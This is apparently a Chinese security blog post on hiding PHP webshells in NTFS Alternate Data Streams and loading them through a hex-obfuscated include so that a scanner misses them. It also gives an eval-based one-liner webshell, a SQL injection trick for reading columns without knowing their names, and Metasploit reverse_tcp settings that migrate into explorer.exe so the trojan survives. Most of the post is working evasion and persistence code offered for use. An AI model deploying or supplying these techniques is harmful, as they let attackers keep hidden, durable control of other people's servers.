Windows中的一种webshell免杀思考

0x00前言

NTFS交换数据流(Alternate DataStreams,ADS)是NTFS磁盘格式的一个特征,在NTFS文件系统下,每个文件都可以存在多个数据流,也就是说其他文件可以"寄宿"在某个文件身上。利用ADS数据流能够做很多有趣的事情,因此想来研究研究如何使用

 

0x01 利用姿势

一般来说,一个一句话木马<?php eval($_POST['cc']);?> 很容易被各种防火墙防下来,可以使用ADS的隐藏文件来测试一下,使用命令创建一个隐藏文件

echo 4668 > test.txt:cc.txt

可以看到并没有内容显示出来,同时使用dir /r显示文件大小为0

对文件内容可以使用命令notepad test.txt:cc.txt来显示内容

可以使用删除宿主文件来进行清除,这时候我们可以通过创建单独的ADS数据流文件,通过命令

echo christa > :cc2.txt

此时文件会保存在上一级的目录下,同时也不会显示

使用nodepad可以编辑文件,文件:前面的名字为文件夹的名字,使用命令notepad htdocs:cc2.txt即可以进行编辑

 

如果文件建在根目录下的时候则需要使用winhex中的Tools -Open Disk进行文件的删除与改写,找到需要查找的盘符进行删除

0x02webshell

使用一句话木马<?php phpinfo();?>创建webshell

echo ^<?php phpinfo();?^> > adstest.php:cc.jpg

需要访问php的时候使用include函数的十六进制进行绕过,创建一个test.php文件内容如下

<?php
$b = "616473746573"."742e7068703a63632e6a7067200d";
$c = "b";
@include(PACK('H*',$$c));
?>

访问tests.php文件即可以getshell

D盾无法扫描

0xff彩蛋

因为国赛有一道简单的sql注入,但是是不知到表名的,有一篇文章讲得比较有趣

有如下的一张表

列表数量可以通过order by进行探测,那么我们可以使用如下的进行探测

select `1` from (select 1,2,3 union select * from tb1)christa;

表示探测第一行的数据

依次使用1,2,3既可以探测到后面几列的全部数据

 

0x00备忘

set payload windows/meterpreter/reverse_tcp

和设置完了端口与HOST的时候,执行如下命令:

set autorunscript migrate -n explorer.exe

在目标上线后,你要执行那些命令,其中我们将进程迁移到了资源管理器,防止用户删除木马,然后丢失目标的情况。

Reference